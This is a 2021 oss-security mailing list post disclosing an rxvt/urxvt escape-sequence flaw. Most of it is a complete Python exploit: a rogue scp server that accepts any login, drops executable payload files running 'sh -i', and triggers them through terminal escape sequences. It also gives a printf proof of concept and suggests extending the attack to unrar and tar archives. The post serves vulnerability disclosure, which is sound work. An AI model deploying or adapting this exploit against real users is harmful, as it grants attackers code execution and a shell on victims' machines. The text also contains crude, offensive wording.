Date: Mon, 17 May 2021 16:49:04 +0300
From: def <def@...meet.info>
To: oss-security@...ts.openwall.com
Subject: rxvt terminal (+bash) remoteish code execution 0day

```
#!/usr/bin/env python
# Title: rxvt (remote) code execution over scp with $SHELL=/bin/bash (0day)
# Version: rxvt 2.7.10, rxvt-unicode 9.22, mrxvt 0.5.4, eterm 0.9.7
# Author: def <def@...meet.info>
# Date: 2021-05-17
# CVE: N/A
#
#-------------------------------------------------------------------------------
# (U)RXVT VULNERABILITY
#
# In rxvt-based terminals, ANSI escape sequence ESC G Q (\eGQ, \033GQ, \x1bGQ)
# queries the availability of graphics and the response is received from stdin.
# However, rxvt responds to the query with a newline-terminated message, which
# is retarded and exposes goatse-wide gaping security holes in many popular CLI
# programs when executed inside an rxvt terminal window.
#
# [def@...h ~]$ printf '\eGQ'
# ^[G0
# [def@...h ~]$ 0
# bash: 0: command not found
#
# The latter command (i.e., 0) executes automatically without user interaction.
# The contents of the second command can be somewhat controlled by chaining the
# printf message with other escape sequences. In particular, a VT52 mode escape
# sequence \eZ prepends a letter Z and triggers bash's tab completion, allowing
# the construction of relative paths and, therefore, code execution in the form
# of running (planted) files from subdirectories in the current directory.
#
# URXVT (+BASH) CODE EXECUTION PROOF-OF-CONCEPT -------------------------------
#
# % mkdir -p ZZZ && echo 'uname -a; id; date; sh -i' >ZZZ/0 && chmod +x ZZZ/0
# % urxvt -e bash
#
# [def@...h ~]$ printf '\e[?2l\eZ\e<\eGQ'
# ^[/Z^[G0
# [def@...h ~]$ ZZZ/0
# Linux 5.11.1-arch-1 #1 SMP PREEMPT Tue, 23 Feb 2021 14:05:30 x86_64 GNU/Linux
# uid=1000(def) gid=1001(def) groups=1001(def),43(tor),998(wheel),999(adm)
# Sun Apr 18 04:25:22 AM EEST 2021
# sh-5.1$
#
# FIX -------------------------------------------------------------------------
#
# Don't use rxvt or any of its derivatives. Stay the fuck away from xterm also.
#
# st(1) is a viable solution if you ever plan to `cat /var/log/access.log` or
# otherwise handle untrusted data from questionable sources.
#
#-------------------------------------------------------------------------------

import logging
import paramiko
import socket
import threading
logging.basicConfig(level=logging.INFO)

"""
This script implements a scp server that exploits insecure ANSI escape sequence
handling in client's (u)rxvt terminal (and bash shell). A recursive (-r) copy
into the current directory leads to code execution. For example:

    $ scp -r -P2222 user@...alhost:/backup/or/whatever/ .

The above command transfers payload files ZZZ/0, ZZZ/1 and ZZZ/Z0 to the client
and executes one of them (the executed payload depends on the rxvt version).
"""

bind = ('localhost', 2222)
payload = '#!/bin/sh\nuname -a; id; date; sh -i\n'

class ScpExploitServer(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event()

    def get_allowed_auths(self, username):
        return "password"

    def check_auth_none(self, username):
        logging.info('Authenticating as %s', username)
        return paramiko.AUTH_SUCCESSFUL

    def check_auth_password(self, username, password):
        logging.info('Authenticating with %s:%s', username, password)
        return paramiko.AUTH_SUCCESSFUL

    def check_channel_request(self, kind, chanid):
        logging.info('Opening %s channel %d', kind, chanid)
        if kind != "session":
            return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
        return paramiko.OPEN_SUCCEEDED

    def check_channel_exec_request(self, channel, command):
        chanid, command = channel.get_id(), command.decode('ascii')
        logging.info('Approving channel %d exec request: %s', chanid, command)
        parts = command.split()
        assert len(parts) > 2 and parts[0] == 'scp' and '-f' in parts
        threading.Thread(target=self.exploit, args=[channel]).start()
        return True

    def exploit(self, channel):
        def wait(): assert channel.recv(4096) == b'\x00'
        def send(): channel.sendall(b'\x00')
        fdir, fname0, fname1, fname2 = 'ZZZ', '0', '1', 'Z0'
        wait()

        # (1) Create subdirectory './ZZZ/'
        logging.info('Enter "%s/" (channel %d)', fdir, channel.get_id())
        command = 'D0755 0 {}\n'.format(fdir).encode('ascii')
        channel.sendall(command)
        wait()

        # (2) Save the payload as './ZZZ/0', './ZZZ/1' and './ZZZ/Z0'
        logging.info('Send file "%s" (channel %d)', fname0, channel.get_id())
        command = 'C0755 {} {}\n'.format(len(payload), fname0).encode('ascii')
        channel.sendall(command)
        wait()
        channel.sendall(payload)
        send()
        wait()
        #channel.sendall_stderr("\x1b[1A".encode('ascii'))

        logging.info('Send file "%s" (channel %d)', fname1, channel.get_id())
        command = 'C0755 {} {}\n'.format(len(payload), fname1).encode('ascii')
        channel.sendall(command)
```

```
        wait()
        channel.sendall(payload)
        send()
        wait()
        #channel.sendall_stderr("\x1b[1A".encode('ascii'))

        logging.info('Send file "%s" (channel %d)', fname2, channel.get_id())
        command = 'C0755 {} {}\n'.format(len(payload), fname2).encode('ascii')
        channel.sendall(command)
        wait()
        channel.sendall(payload)
        send()
        wait()

        # (3) Run the payload with ANSI escapes sequences (in (u)rxvt + bash)
        channel.sendall_stderr("\033[?21\033Z\033<\033GQ".encode('ascii'))
        channel.sendall_stderr("\x1b[1A".encode('ascii'))
        channel.close()

if __name__ == '__main__':
    logging.info('Creating a temporary RSA host key ...')
    host_key = paramiko.rsakey.RSAKey.generate(1024)
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(bind)
    sock.listen(0)
    logging.info('Listening at %s:%d ...', bind[0], bind[1])
    while True:
        try:
            client, addr = sock.accept()
            logging.info('Received connection from %s:%s', *addr)
            transport = paramiko.Transport(client)
            transport.add_server_key(host_key)
            transport.start_server(server=ScpExploitServer())
        except Exception as ex:
            logging.error('Connection closed: %s', ex)
        except KeyboardInterrupt:
            logging.info('Stopping server')
            break

#------------------------------------------------------------------------------
# EXERCISE FOR THE READER
#
# Achieve code execution in `unrar x foo.rar` / `busybox tar -xvf bar.tar` with
# an archive containing payload(s) and a trigger file named "\e[?21\eZ\e<\eGQ".
#------------------------------------------------------------------------------
```